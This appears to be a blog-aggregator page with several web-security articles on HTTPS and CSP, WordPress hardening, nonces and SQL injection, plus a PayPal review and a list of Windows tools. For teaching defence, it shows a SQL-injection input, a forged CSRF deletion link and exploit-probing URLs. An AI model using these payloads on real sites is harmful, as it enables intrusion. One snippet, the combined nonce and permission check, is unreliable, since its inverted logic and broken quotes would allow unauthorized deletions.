Newer posts are loading.
You are at the newest post.
Click here to check if anything new just came in.

November 18 2013

17:40

Client-Side Security Best Practices

Thanks to HTML5, more and more of an applications’ logic is transferred from server-side to client-side. This requires front-end developers to focus more on security. In this article I will show you how to make your apps more secure. I will focus on techniques that you may not have heard about, instead of just telling you that you have to escape HTML data entered in by users.


Don’t Even Think About HTTP

Of course I don’t want you to serve your content with FTP or plain TCP. What I mean is that if you want your users to be safe when using your website, you need to use SSL (HTTPS). And not only for login sites, or valuable information. For all of your content. Otherwise, when someone is accessing your app from a public network, what they see may be malformed by some hacker inside this network. This is called a main-in-the-middle attack:

main-in-the-middle

When you use SSL, all of the data is encrypted before it’s sent, so even if the attacker gets it, he would not be able to modify or capture it. This is by far the most important step in securing your app.

Strict Transport Security

This HTTP header can come in handy if you want to serve your content using only SSL. When it’s issued by the server (or a <meta> tag, but that will allow at least one request to be HTTP), no insecure traffic will come from the browser to your server. It is used like this:

Strict-Transport-Security: max-age=3600; includeSubDomains

The includeSubDomains part is optional, it allows you to declare that you also want all of the sub-domains to be accessed using HTTPS. The max-age option sets how long (in seconds) the pages should be served using SSL. Sadly, only Firefox, Chrome and Opera are supporting Strict Transport Security.

Secure and HttpOnly

Another way to further improve the security on both HTTP and HTTPS are these two cookie attributes: Secure and HttpOnly. The first one allows a cookie to be sent only on SLL connection. The second one may sound as the exact opposite, but it’s not. It’s telling the browser that the cookie can only be accessed using HTTP(S) protocol, so it cannot be stolen using, for example, JavaScript’s document.cookie.


Make XSS Less Harmful With Content Security Policy

Content Security Policy allows you to define the origin of all scripts, images etc. on your site.

If you think your XSS filter will stop all possible XSS attacks check how many ways there are to perform these attacks and think again. Of course securing your app to stop all of these may be a problem and may slow it down, but there is a solution.

It’s called Content Security Policy. It allows you to define the origin of all scripts, images etc. on your site. It also blocks all inline scripts and styles, so even if someone can inject a script tag into a comment or post, the code would not be executed. The CSP is an HTTP header (which can also be set using HTML <meta> tag), which looks like this:

Content-Security-Policy: policy

Where policy is a set of CSP directives. Here are the possible options:

  • script-src – sets acceptable sources of JavaScript code
  • style-src – defines acceptable origins of CSS styles
  • connect-src – specifies the servers the browser can connect to using XHR, WebSockets and EventSource
  • font-src – lists allowed sources of fonts
  • frame-src – defines what origins should be allowed in iframes
  • img-src – sets allowed image sources
  • media-src – lists origins that can serve video and audio files
  • object-src – same as above but for Flash and other plugins

If a directive is not set, the browser assumes that all origins are allowed. This can be changed by setting the default-src option. What you set there will be applied to all unset directives. There is also a sandbox option, which makes the webpage load as an iframe with the sandbox attribute. An example usage of the CSP header would look like this:

Content-Security-Policy: default-src: 'self'; script-src: https://apis.google.com;

It allows all of the assets to be loaded only from the application’s origin (the 'self' attribute) and also allows you to load scripts from the Google APIs server. There is a lot of flexibility when defining CSP, and when used properly it will greatly improve the security of your webpage.

Drawbacks

The thing to remember when using CSP is that, by default, all inline JavaScript will not be executed. This also includes:

  • inline event listeners: like <body onload="main();">
  • all javascript URLs: like <a href="javascript:doTheClick()">

This is because the browser cannot distinguish your inline code from the hacker’s inline code. You will have to replace them by adding event listeners with addEventListener or some framework’s equivalent. This is not a bad thing ultimately, as it forces you to separate your application’s logic from its graphical representation which you should be doing anyway. CSP also (by default) blocks all eval()-ish code, including strings in setInterval/setTimeout and code like new Function('return false').

Availability

CSP is available in most of the modern browsers. Firefox, Chrome and Opera (mobile too) use the standard Content-Security-Policy header. Safari (iOS too) and Chrome for Android use the X-WebKit-CSP header. IE10 (with support limited only to the sandbox directive) uses X-Content-Security-Policy. So, thanks to Internet Explorer, you can’t just use only CSP (unless you will use something like Google Chrome Frame), but you can still use it to improve the security on the real browsers and to prepare your app for the future.


Use Cross Origin Resource Sharing Instead of JSONP

JSONP is currently the most used technique to get resources from other servers despite the same-origin policy. Usually, you just create the callback function in your code and pass the name of that function to the URL from which you want to get the data, like this:

function parseData(data) {
	...
}
<script src="http://someserver.com/data?format=jsonp&callback=parseData"></script>

But by doing this, you are creating a big security risk. If the server that you are getting data from is compromised, a hacker can add his malicious code and for example, steal your user’s private data, because actually, you are getting JavaScript using this request – and the browser will run all of the code just like with a normal script file.

The solution here is Cross Origin Resource Sharing. It allows your data provider to add a special header in responses so that you can use XHR to retrieve that data, then parse and verify it. This removes the risk of getting malicious code executed on your site.

The implementation requires the provider only to add the following special header in responses:

Access-Control-Allow-Origin: allowed origins

This can be just a few allowed origins separated with spaces, or a wildcard character: * to let every origin request the data.

Availability

All current versions of modern browsers support CORS, with the exception of Opera Mini.

Of course, the bigger problem here is that service providers would have to add CORS support, so it’s not completely dependent on the developer.


Sandbox Potentially Harmful Iframes

An iframe with the sandbox attribute will not be able to navigate the window, execute scripts, lock the pointer, show pop-ups or submit forms.

If you are using iframes to load content from external sites, you may want to secure them too. This can be done using the sandbox iframe attribute. An iframe with such an attribute empty (but present) will not be allowed to navigate the window, execute scripts, lock the pointer, show pop-ups or submit forms. The frame will also have a unique origin, so it can’t use localStorage or anything related to the same-origin policy. You can of course allow some of them, if you want, by adding one or more of these values into the attribute:

  • allow-same-origin – the frame will have the same origin as the site, instead of the unique one
  • allow-scripts – the frame will be allowed to execute JavaScript
  • allow-forms – the frame will be able to submit forms
  • allow-pointer-lock – the frame will have access to the Pointer Lock API
  • allow-popups – the frame will be allowed to show pop-ups
  • allow-top-navigation – the frame will be able to navigate the window

Availability

The sandbox iframe attribute is supported in all modern browsers, with the exception of Opera Mini.


Conclusion

So that’s it. I hope you’ve learned some new techniques that you can use in your future projects to protect your applications. Thanks to HTML5, we can now do amazing things with our websites, but we have to think about security from the first line of code if we want them to be resistant against attacks.

June 29 2013

07:00

At A Glance: How To Secure Your WordPress Site [Infographic]


  


  

Securing your self-hosted WordPress site is absolutely essential. That’s the reason for our continuous coverage of this particular topic throughout the years. With WordPress becoming more and more dominant as the motor of today’s web, the topic stays at the top of our advice list. Throughout the last four years, the number of WordPress blogs having been hacked has more than doubled from 81,000 to over 170,000 per year. The fresh infographic by WPTemplate.com aggregates everything you need to know to properly secure your site and gives you a decent hint sheet to always keep your eyes on.

Sponsored post
soup-sponsored
04:52

February 28 2012

21:00

Is Paypal Good for Your Online Business?

PayPal is definitely the most well-known online user payment service in the world. With its start somewhere in 2000 thanks to X.com and Confinity merging, PayPal quickly became a leader of the market and expanded very fast among eBay users. That is probably why PayPal was bought by eBay in 2002 for just under $1.5 billion.

But PayPal means much more than that today. Tens of millions of users tend to pay with PayPal faster than with their credit card. The company functions as an acquirer and processes payments for online vendors, auction sites and many commercial users – all these for a small usage fee. With such a reputation to handle, we might surely ask ourselves how likely it is for PayPal to be the best payment processor for our online services. If you own a design agency, I am sure you have thought of this at least once.

Today we will put in balance the negative and positive sides of using PayPal for a business and we will try to come to a conclusion by the end. I look also forward to hearing your opinions about the great service PayPal is, but let’s wait for that until the end.

What is PayPal NOT?

Well, although it seems like one, PayPal is definitely not a bank. It offers the basic services of a bank, but is has not been classified as one, although it is under rules and regulations which govern a financial institution in the USA. A bank usually uses people’s deposits for its own purposes, while PayPal does not. They only store the deposits in their accounts and do not redistribute any of it. Although PayPal is not considered a bank in the US, it has been regulated just like one by the CSSF in Europe.

In order to be able to talk about the advantages and disadvantages of PayPal, it would be a good idea for me to tell you some quick facts about it:

  • PayPal has more than 230 million accounts registered and allows customers to send, hold and receive money in 190 countries in the world. PayPal features support for 24 different currencies.
  • PayPal allows people to start their own businesses and work as a third-party service in the transactions they make.
  • There is a specific limit of money a user can receive per year. If you want to have an unlimited account, you will need to provide personal information and verify the account.
  • PayPal has a service called Students’ Account, which permitted parents to give students money on a debit card.

The good

PayPal has some clear advantages over any competitor on the market. First, it is very easy to set up and is very elegant. It doesn’t take more than few minutes to set up an online shop with support for PayPal. The “add to cart” and “view cart” buttons can even be customized by the designers themselves. The service is also very easy to use and the payments very easy to execute. There is no doubt about the fact that paying with PayPal could not be easier. Moreover, there is no setup or monthly fee.

Let’s face it, one of the most important assets of PayPal is its brand and name recognition. Being a company with excess of $2.2 billion in annual sales revenues, PayPal is no doubt the star player of the market. Although people are still reluctant to pay on the internet, they definitely trust PayPal the most if needed to process money online. Moreover, because it functions as a third-party service, PayPal makes sure the customer’s credit card and bank account number do not get in the stores’ databases. Security is extremely important and PayPal seems to take care of it as well as possible.

While many other services sustain themselves by asking for monthly or yearly payments, PayPal asks for money only from the users who sell. This makes PayPal feel like your friend because when you don’t sell anything, you don’t pay anything. Can it be more convenient?

Image by 401K.

With so many users having a PayPal account, there is a huge potential customer base for everyone who uses PayPal for online selling. A good example is eBay. The majority of the sellers do not offer support for MasterCard or VISA, therefore buyers need to have a PayPal account in order to buy something – and this doesn’t affect eBay at all, because as said before, PayPal has a huge customer base.

While businesses use PayPal for commercial purposes, individuals can also use it for personal purposes. PayPal offers multiple account options and a single person can opt for one of them. Each account option offers different privileges and have different rules. There is no fee for transactions between two PayPal users with a personal account for example.

The fact that PayPal offers support in so many countries is another strong asset. Giving the option to use 24 currencies and handle international payments is something not many other services can do. Another impressive feature is the option to pay through credit and debit cards directly, which means the transaction fee is also minimal, set at 3.9 percent for any amount up to $100,000.

If you thought this is all, you are in for another surprise. Although it is not a bank, PayPal works as a great accountant. You can see every payment, withdrawal, every inbound transaction – all these with a single click. It is very easy to find every transactions in the history panel and you can even download a spreadsheet file with details for a period longer than one year. Printing is not a problem for PayPal either.

As mentioned before, PayPal is an eBay service, therefore buying from the American online store has never been easier.

The bad

As any other service, PayPal has its own disadvantages too. One of them might be the fees charged for non-PayPal payments. Although PayPal claims they help small sellers, the hidden fees show no signs of it. The fees might be from 1.9 to 2.9 percent plus $0.30 per transaction – this can get very costly. Some of PayPal’s rules are also very strict due to different regulations. The slightest suspicion about your account might get it suspended and it takes a long time for PayPal to investigate and reopen your account. You might find yourself with your money locked for longer periods than expected.

Talking about customer service, maybe the worst thing about PayPal is the difficulty to solve issues and investigate cases. There have been many issues over time with trying to contact customer service. Even when you manage to get a hold of them, sometimes it just seems there is no one at the end of the line and some emails only get automated responses. There have also been reports of accounts being automatically charged without the knowledge of the user.

Although a quite secure service, PayPal seems to lack high-quality customer support.

Image by protohiro.

There is not even the chance of a third-party jury. When being investigated by PayPal, your account and funds get frozen and the only thing you can do is wait. There is no documentation provided to the user and it doesn’t seem like PayPal puts much consideration into resolving peoples issues.

The verification process is also a hassle. Users have to provide several important pieces of private information such as bills, bank account numbers, social security numbers, address proof and so on. Some users might not even be comfortable with offering such information, but they have to in order for PayPal to lift the funds receiving limit.

Although most eBay sellers have to use PayPal, it seems the protection for them is not excellent. There have been reports of funds refunded to the customer even after the seller has shipped the item! This can become a deal breaker especially when the customer service is not as good as it should be.

Who else?

If for some reason you just don’t want to go with PayPal, then there are some other alternatives out there, although none of them is really that impressive. Google Checkout is an alternative, although it is still an inferior product. The main difference is that Google’s service charges fees depending on the sales volume, while PayPal does not. Checkout also offers fewer features than eBay’s service.

A second one could be MoneyBookers, a very well-known British-based service. They have a customer base of around 10 million accounts, although we do not know yet how many of them are active. They offer services to everybody with an email address and they have a flat fee per transaction.

Besides Google Checkout and MoneyBookers, there is not much else worth mentioning. The other few alternatives, Amazon Payments, OboPay and Paymate are really small and, when people deal with their money, they are not willing to work with companies without a powerful brand.

Bottom line

PayPal is obviously not the perfect solution for buyers and sellers, however it is definitely the best one available right now. They lack support, true, but it’s the most secure online payment service and the one offering the most features. Although PayPal seems best suited for medium-sized businesses, there are not many alternatives out there.

If we look at it from the buyers’ perspective, then there is definitely no better alternative out there. Let’s face it, every service has its own problems; it is just a matter of finding the one with the least of them.

Until next time… what do you think about PayPal? Did you ever have problems with it as a seller/buyer? What is your experience with their customer support and how long did it take for your case to be investigated?

November 16 2011

17:40

Five Simple Yet Useful Windows Tools Worth Checking Out

There are many useful Windows tools out there for Windows users, but getting by free and good ones is not that easy. Today, we are sharing Five Simple Yet Useful Windows Tools Worth Checking Out. Read each entry in the list and see which one suits your needs best.

You are welcome if you want to share more Windows tools that our readers/viewers may like. Do you want to be the first one to know the latest happenings at SmashingApps.com, just subscribe to our rss feed and you can follow us on twitter and follow us on Digg as well to get updated.

WinUSB Maker

WinUSB Maker, is a tool to make any Removable Device as bootable with Windows Setup

2Tware Virtual Disk 2011 Free

2Tware Virtual Disk can create disk capacity up to 16TB,The virtual disks made by 2Tware Virtual Disk 2011 Free are just as any other disks. You can use it as normal disk,storing any files (e.g. documents, pictures, music, movies…), and opening those files directly from the virtual disk. You can even install application on it.

CheckDrive

CheckDrive offers you an easy way to check your hard drives for errors. CheckDrive may detect and fix hard drive errors that might appear on system crashes or when switching off your PC without a proper Windows shutdown. If you ever had a system crash then CheckDrive is for you.

Recovery Toolbox File Undelete Free

Recovery Toolbox File Undelete Free is an efficient recovery tool for the NTFS file system. The program can be used free of charge, but it’s not limited in any way – it provides all the recovery features usually found in popular commercial products. The software has a very clear, straightforward and easy to use wizard-based interface that turns the entire recovery process into a chain of interconnected steps. In fact, the program is so easy to understand that anyone can use it, even if they have no recovery experience and possess a bare minimum of computer skills. All you need to do to get from point A to point B is to follow on-screen instructions and make your choices.

Registry Cleaner Free

Registry Cleaner Free, the fastest and most reliable registry cleaner for Windows, can scan your registry, fix registry errors, repair registry files, remove DLL errors, and boost your PC to peak performance with the absolute minimum of hassle.

Brought To You By

Premier Survey
Do you want to advertise here? Click to get more info…

November 12 2011

10:00

9 WordPress Security Tips To Protect Your Website From Harm

WordPress is the most popular Content Management System in the world, used by more than 60 million people around the globe. WordPress hosts more than half of the blogs itself. The popular CMS is used by huge companies and associations in the world such as TechCrunch, NBC, CNN, CBS or the National Football League of the US. There are more than 2.5 billion WordPress pages in the world, read by more than 300 million people daily, while around 500.000 new posts and 400.000 comments are posted each day.

This is huge and shows how important and widely used WordPress is. WordPress doesn’t show signs of slowing down either, so expect these numbers to increase dramatically in the near future. Therefore we also need to learn how to protect ourselves, because there is no popular web technology nowadays not targeted by hackers and robots.

Today I will talk about tips, tricks and plugins to keep your WordPress blog safe from hackers and robots. This doesn’t mean you have to do all of them, but using as many of them as possible is recommended.

1. Always Update

Keeping your WordPress updated all the time is important, because the developers work to solve security issues as well and if they release an update, it is a good idea to update. It takes only a few seconds, is safe (because WordPress backs up your data before actually updating, so you can’t lose anything) and will help your blog run better and be compatible with more plugins too. When you update, do it through your dashboard or if you want to do it manually, do not download the update from another site than WordPress.org.

2. Strengthen your password

Now this shouldn’t be something new to you. If you’ve been on the internet for some time you know strong passwords are recommended. Include small and capital letters, numbers and different symbols to make your password not difficult, but impossible to guess. Once somebody has full access to your blog, it’s not yours anymore!

3. Keep an eye on file permission

It is a good idea to keep an eye on the file permissions. You have a link at the end of the article with a guide about what file permissions are and how should they be used. You can set file permission with FTP clients and FileZilla works just fine, so I recommend it.

4. Use .htaccess

The .htaccess file is available by default in your hosting folder. You can use this file to block different IPs and you can learn how to do this by following the links at the bottom of the article.

5. Use SSL Encryption

SSL Encryption is used for encrypting data your blog sends. This means that nobody accessing your router can intercept the data you use, such as account credentials. This way your data is not only really difficult to intercept, but also to decrypt. The bad in general is that you have to pay for having an SSL encryption, but most of the services out there do a tremendous job and also help you set up the SSL server. However, for WordPress SSL encryption is free and you only have to add this particular line to your wp-config.php:

define (‘FORCE_SSL_ADMIN’, true);

6. Always Back-up

Backing up once a week is something I would like to recommend as well, because no matter how much you protect the blog, anything can happen. There are things you can’t even do anything about (like the host servers getting hijacked – which doesn’t really happen too often, but it is a possibility) and it is good to have a back-up which you can install again right away.

7. Protect the wp-config.php

This is one of the most important files in your WordPress folder, therefore you really have to protect it. You can hide it from public view by inserting few lines of code into your htaccess file:

<Files wp-config.php>

order allow, deny

deny from all

</Files>

This prevents the wp-config.php file from being seen by public users and makes it therefore more difficult to spot for hackers and robots.

8. Never use “admin” as login

A common mistake is to use “admin” as the login username. When you install WordPress, right after the process is done create a new account and use that one as default. The “admin” account is quite dangerous to use because all the robots go for it.

9. Use an SFTP

Most of the time people upload files by using FTP, but you could use a Secure FTP (SFTP) so that the files you send are encrypted. You can find a detailed guide about how to do this here.

Now we move onto plugins you can use to secure your WordPress.

1. Login Lockdown

You can use a plugin called Login Lockdown, but make sure you remember your password. Login Lockdown registers every failed login attempt and the IP of the person, and blocks the ability to login for a range of IPs if the number of failed logins exceeds the number you set. As a default setting, the plugin locks down IPs for an hour after 3 failed logins within 5 minutes. The IP addresses which have been blocked can be removed from the plugin panel in the WordPress dashboard.

Login Lockdown protects your WordPress login page from people trying to guess your password.

2. WP-DB-Backup

I told you earlier you should have backups for your database all the time. This is the plugin that I use for this purpose. It sends you backups on your e-mail or can also store them on the server. You can also set how often you wish the plugin to back up your data.

3. WP Security Scan

Removing the version of WordPress you have should be a basic option, but WordPress makes it difficult. Therefore you need to use a plugin to remove the version of WordPress from the header of your PHP page. Why? Because knowing which version you have means hackers know the security issues you have, therefore this makes it easier for them to hack you.

With all these plugins and tips being listed, I only wish to tell you that WordPress, although very popular and widely used, is threatened all the time by hackers and robots. WordPress security is something that has been discussed long and you should take a look into it, because finding out your blog is hacked and having no backup is definitely not fun. Try to avoid this by backing up regularly and following my tips and you will find yourself less often in troubles.

Further reading

You can read more about this topic on the following links:

Changing File Permissions on WordPress.org

Hardening WordPress on WordPress.org

Block IPs with .htaccess on htaccesstools

WordPress Security Tips and Hacks on Noupe

WordPress Security

11 Best Ways to Improve WordPress Security on ProBlogDesign

November 11 2011

08:00

Securing Your WordPress Website





 



 


Security has become a foremost concern on the Web in the past few years. Hackers have always been around, but with the increase in computer literacy and the ease of access to virtually any data, the problem has increased exponentially. It is now rare for a new website to not get comment spam within days of its release, even if it is not promoted at all.

securityimage

This increase in naughty behavior, however, has spurred developers to write better code, and framework vendors have implemented many functions to help coders in their battle against the dark side.

Because data validation and sanitization is a big part of both security safeguards and normal user-input processing, by securing our code we will be not only protecting our behinds, but offering a better, more solid user experience.

While a large part of this article is specific to WordPress, a sizeable chunk is about general practices that anyone can use. Even the WordPress-centric sections contain useful logic, so reading them may well be worth it even if you use a different framework.

URL-Based Exploits

With URL-based exploits, hackers try to find weak spots on your website by making requests that would normally return an error but for some reason are completed.

http://mysite.com/trying/to/exploit/%2F/config

The above hypothetical URL is essentially a stab in the dark by a hacker. But if the request is met, even though the URL is clearly not meant to go anywhere, the hacker might be able to make use of it.

Using .htaccess as a Firewall

One of the best methods I’ve found against this kind of threat is an .htaccess firewall. It basically consists of rules that automatically block requests based on strings in the URL.

For example, there is no good reason for an opening bracket ([) to be in a URL. If a request is made using a URL that contains a bracket, then either the user has mistyped something or someone is looking for a security hole. Either way, generating a “403 Forbidden” page is good practice in this case.

RedirectMatch 403 [

Paste the line above in your .htaccess file to block any request that contains an opening bracket.

To guard against more than just brackets, you will need a more complex ruleset. Luckily, our awesome editor Jeff Starr has gone out of his way to create a great .htaccess ruleset. The latest iteration is called 5G Firewall and is freely available from Perishable Press for your copy-and-pasting pleasure.

The firewall is modular, so you can delete lines from it without breaking the functionality. If something goes wrong when you’re using it, you can usually track down the problem by deleting lines until it starts working again. Once you’ve found the offending line, you can delete it and paste back the rest.

Protecting Directories

On many servers, it is possible to view the contents of a directory simply by typing it in the URL bar.

http://myblog.com/wp-content/uploads/2011/08/

Visiting this typical URL for a WordPress blog will list the contents of that directory, showing all of the uploads from August 2011. You might want this, but you can also disable or fine tune it using the good ol’ .htaccess file.

Options -Indexes

Popping the above line into your .htaccess file will disable directory listings; so, users will get a “403 Forbidden” message if they try to view a directory. While many people seem to be aware of this, far fewer know of the other options besides allowing or disallowing access. You can control which file types are listed using the IndexIgnore directive. Take these three examples:

IndexIgnore *
IndexIgnore *.php
indexIgnore *.jpg *.gif *.png

If directory listing is enabled, then the directory will be displayed in the first example, but no files will be listed because all will be ignored. The second example will list all files except ones with a .php extension. The third example will omit the three image types specified.

Note that some hosts (such as MediaTemple) disable directory browsing by default, so you won’t need to modify the .htaccess file. To verify this, just type a directory location in the URL bar and see what happens.

Additional Server-Level Protection

So far, the measures we have taken have nothing to do with our website’s actual code. However secure your code is, you will still need to implement something like what we did above. We don’t have time to look at all tips and tricks for .htaccess, but you can do quite a few other things:

  • Password-protect directories,
  • Use smart redirects,
  • Deny access based on IP or an IP range,
  • Force downloading of files,
  • Disable hotlinking,
  • The list goes on.

Look at the “Further Reading” section at the end of this article, and become good friends with your .htaccess file. It might seem daunting and confusing at first, but solid knowledge of how to use it will go a long way.

Protecting Against Malicious Users

The second type of problem that can arise is when someone performs an action that they are not supposed to do. This doesn’t necessarily mean that they intended to harm the website, but it could happen.

If users are listed somewhere in the admin part of your website, chances are that a link is displayed to delete each user. The link could point to the script in the following location:

http://mysite.com/admin/scripts/delete_user.php?user_id=5

This link is relatively obscure; that is, a normal user doesn’t have a good chance of stumbling on it. But if directory listings are enabled, then someone naughty could go to http://mysite.com/admin/scripts/, see that you have a delete_user.php file there, and make various requests to try to delete a user.

If the script does not check permission or intent, then anyone who visits the link above could delete user 5.

Authority and Intent

Whenever a user initiates an action, we need to take two things into consideration. Does the user have authority to perform the action (i.e. do they have permission)? If the user does have authority, do they also intend to complete the action (i.e. do they mean to do what they’re doing)?

WordPress has functions to help you make sure that both conditions are met before an action in the script is triggered. We will look at these in detail shortly. If you are building your website from scratch, then you will need to make sure that each user has associated permissions and that you know which action can be performed under which condition.

For example, you would probably want only administrators to be able to delete content from the website. Every time a user tries to delete content, you would need to make sure that they are actually an administrator — this is the “authority” part.

Intent is best described with an example. Let’s assume you can use the following link to delete a comment:

http://mysite.com/admin/scripts/delete_comment.php?comment_id=5

The script itself will check that the user is currently logged in and is an administrator, so it takes care of the authority check. Could someone still wreak havoc? Sure they could! A sneaky hacker could put a link on their own website pointing to the same location:

<a href="http://mysite.com/admin/scripts/delete_comment.php?comment_id=5">Super-Happy Times Here!</a>

Because everyone likes super-happy times, many users would click the link. In 99% of cases, nothing would happen, because those visitors would not be administrators of mysite.com. But if a logged-in administrator of mysite.com did click on the link, then the action would execute, even though the link was actually clicked from vilehackerperson.com.

You might think that the odds of this happening are astronomical. In a way you’d be right, but remember that a hacker can do this extremely easily and can automate it. Millions of people get spam email saying that Bill Gates will take away the Internet unless they pay $1,000. Most recipients don’t see the email or throw it out or mark it as spam or what have you, but perhaps 1 out of every 2 million people is lured in. A thousand bucks for basically doing nothing is not bad at all. And a hacker probably wouldn’t put the link on their own website; all they would need to do is hack a big website and embed the link there without anyone noticing.

Checking For Authority In WordPress

WordPress has a permissions system built in referred to as “Roles and Permissions.” Capabilities are the basis of the whole system; roles are just a way to group a set of capabilities together.

If a user has the delete_posts capability, then they have the authority to delete posts. If a user has the edit_posts capability, then they can edit their posts. Quite a few capabilities are available, and you can even create your own.

Roles are basically groups of capabilities. A user with the role of “contributor” has three capabilities: read, delete_posts and edit_posts. These give the user the authority to read posts and to edit or delete their own posts. These capabilities could be granted individually to any user, but grouping them into frequently used bundles is much easier and more practical.

With that in mind, let’s look at how to use WordPress functions to ensure that a user has the authority to complete an action that they initiate.

if(current_user_can("delete_users")) {
    wp_delete_user(5);
}
else {
    die("You naughty, naughty person. Of course, you could just be logged out…");
}

Here, we’ve made sure that the user has the delete_users capability before they are able to complete the action. Don’t make premature assumptions when protecting your scripts; in many cases, especially those of authority, the intent is not malicious.

The current_user_can() function takes one argument, which can be a role or a permission. We could let “editors” (who don’t normally have the delete_users capability) delete users in the following way:

if(current_user_can("editor")) {
    wp_delete_user(5);
}
else {
    die("You must be an editor to delete a user");
}

Be careful with the method above because the roles are not inclusive. This function doesn’t require the user to be at least an editor; it requires them to be exactly an editor (if that makes sense). Because of this, I find it preferable to use capabilities, especially if I have modified the default permissions extensively.

Two other similar functions enable you to examine the capabilities of users other than the currently logged-in one.

if(user_can(5, "manage_links")) {
    echo "User 5 is allowed to manage links";
}
else {
    echo "Sadness! User 5 may not manage links";
}
if(author_can(1879, "update_themes")) {
    echo "The author of post #1879 is allowed to update themes";
}
else {
    echo "Oh noes, our friend, the author of post #1879 may not update themes";
}

The user_can() function checks whether a given user has the given capability (or role). The first argument is the user’s ID or a user object; the second argument is the name of the capability or role that we want to check for.

The author_can() function checks whether the author of a given post has the given capability (or role). The first parameter should be a post ID or a post object; the second is the capability or role that we are examining.

Checking For Intent In WordPress

Intent is a bit more difficult to check. In the good ol’ days, a check of $_SERVER['HTTP_REFERER'] was the way to go. This stored the page that the user came from. If the domain name was their own, then the user was probably OK… unless, of course, someone had gotten into their files and inserted a link that deleted the user’s database if they clicked on it as an administrator.

A newer more secure method was implemented in WordPress 2.03 — quite some time ago — called nonces. Nonce stands for “number used once” and is used frequently in cryptography to secure communications. It is a number that is generated before an action is initialized, then attached to the action’s call, and then checked before the action completes.

In WordPress, you would generally use nonces in one of two places: forms and normal links. Let’s look first at how to generate a nonce in a form.

Nonces in Forms

<form id="myform" method="post" action="myawesomescript.php">
    <h2>Enter an awesome word here</h2>
    <input type='text' name='word'>
    <?php wp_nonce_field( 'awesome_name_nonce') ?>
</form>

This will generate a hidden input field containing your generated nonce, which will be sent along with all of the form’s other data. The wp_nonce_field function takes four parameters:

  1. The first parameter is optional, but recommended because it gives the nonce a unique identifier.
  2. The second parameter is the name of the field. This is also optional and defaults to _wpnonce.
  3. The third parameter is boolean. If set to true, it will also send the referrer for validation.
  4. The fourth parameter is also a boolean and controls whether the field is echoed right then and there.

The resulting hidden field would look something like this:

<input type="hidden" id="_wpnonce" name="_wpnonce" value="d6d71w4664">

Setting all of this up won’t make a huge difference if it isn’t used when the form is actually processed. We need to check for the presence and the value of the nonce before allowing any actions to be performed. Here is one way to do that:

if (!wp_verify_nonce($_POST['_wpnonce'],'awesome_name_nonce') ) {
   die('Oops, your nonce didn't verify. So there.');
}
else {
   awesome_word_inserter($_POST["word"]);
}

Here, we’ve used the wp_verify_nonce() function to make sure that our nonce is correct. This function takes two parameters: the first is the value of the nonce field, and the second is the name of the action that we defined (this was the first parameter for the wp_nonce_field() function). If the nonce is verified, then the function will return true; otherwise, it will return false.

Nonces in Links

In some cases, you will want a link, instead of a form, to perform an action. This would typically look like our previous examples:

http://mysite.com/admin/scripts/deletethatthing.php?thing_id=231

To generate a nonce for a link, we can use the following method:

$base_url = "http://mysite.com/admin/scripts/deletethatthing.php?thing_id=231";
$nonce_url = wp_nonce_url( $base_url, "thingdeleter_nonce");
echo "<a href='".$nonce_url."'>Delete that thing</a>";

The resulting link would be something like this:

http://mysite.com/admin/scripts/deletethatthing.php?thing_id=231&_wpnonce=d6f77f1364

When we actually go to the script, we can check the nonce using the same method as before:

if (!wp_verify_nonce($_GET['_wpnonce'],'thingdeleter_nonce') ) {
   die('Oops, your nonce didn't verify. So there.');
}
else {
   delete_that_thing($_GET["thing_id"]);
}

Checking Authority And Intent At The Same Time

We need to look at both aspects at once; although, now that we’ve looked at all of the components, it won’t exactly be rocket science! Let’s take a simple link that lets the user delete a comment. We would have this on the page that lists comments:

$nonce_url = wp_nonce_url("http://mysite.com/scripts/delete_comment.php?comment_id=1451", "delete_comment_nonce");
echo "<a href='".$nonce_url."'>dispose of this comment</a>";

And here is the script itself:

if (wp_verify_nonce($_GET['_wpnonce'],'delete_comment_nonce') AND current_user_can("edit_comment")) {
   die('Oops, your nonce didn't verify, or you are not permission-endowed enough.');
}
else {
   wp_delete_comment($_GET["comment_id"]);
}

Data Security

Our work might seem to be done, but if you’ve been developing for a while, then you know it never is. An additional layer of security needs to be added to stop insecure data (or erroneous data) from entering our database. Adding this additional layer is called data sanitization.

A quick clarification: data sanitization refers to the process of cleaning up our data to make sure that nothing suspicious gets sent to the database. Validation refers to all of the checks we perform on data to make sure they are the types of data we need; it is typically done to ensure that the user has entered a valid email address, a well-formed URL, etc. The two terms are sometimes used interchangeably, and other methods may be similar, but they are quite different things. For our purposes, sanitization is a bit more important, because it has more to do with security.

The main thing we are trying to protect against is SQL injection. SQL injection is a technique used by hackers to exploit a database’s weaknesses. Take the following example:

// A hacker goes to your search field and searches for elephant' - note the apostrophe at the end. In the script, the following SQL is run:
SELECT ID, post_title FROM wp_posts WHERE post_title LIKE '%elephant'%'

In the example above, the user’s search for elephant' has resulted in unclosed quotes in your script. While the hacker might not be able to do much with this, an error message would be generated, indicating to them that at the very least you are not sanitizing your data.

In some cases, the SQL itself could be harmful or could give the hacker much more information than you’d like. Take the example of an administrator being able to enter a user’s log-in name in a form and getting back the user’s email address.

SELECT user_email FROM wp_users WHERE user_login = 'danielp'

If the hacker manages to perform an SQL injection attack, they could type ' OR 1=1 ' in the form, which would result in the following query:

SELECT user_email FROM wp_users WHERE user_login = '' OR 1=1 ''

This would return all email addresses in the database, because we would be retrieving all addresses for which the user’s log-in name is an empty string, or 1=1, which is always true.

There are two ways to protect against this kind of problem — implementing both is good practice. In round one, we validate the data. If an email address needs to be entered, we can filter out user data that does not conform to the format of email addresses. We simply make sure that the format is right, otherwise we redirect the user, stating that the address is invalid. If the data passes round one, we move to round two, where we remove all characters that could mess up the query. This usually entails escaping quotes so that they can be used only as actual quotes in the SQL query.

When working without a framework, you would typically use addslashes() or something similar, but WordPress offers its own solution…

Data Sanitization In WordPress

When communicating with the database in WordPress, the preferred method is to use the $wpdb class. You can read all about this in “WordPress Essentials: Interacting With the WordPress Database.” The class offers a number of methods to alleviate your SQL injection worries.

Before jumping in, let’s look at some examples to get a basic understanding of how the class works.

// Perform any query
$wpdb->query("DELETE FROM wp_users WHERE user_id = 5");
// Get one column of data
$posts = $wpdb->get_col("SELECT post_title FROM wp_posts WHERE post_status = 'publish' ORDER BY comment_count DESC LIMIT 0,10");
// Get a row of data
$post = $wpdb->get_row("SELECT * FROM wp_posts WHERE ID = 1453");
// Get multiple rows and columns
$posts = $wpdb->get_results("SELECT ID, post_title, post_date FROM wp_posts WHERE post_type = 'publish' ORDER BY post_date DESC LIMIT 0, 12 ");
// Get a single value
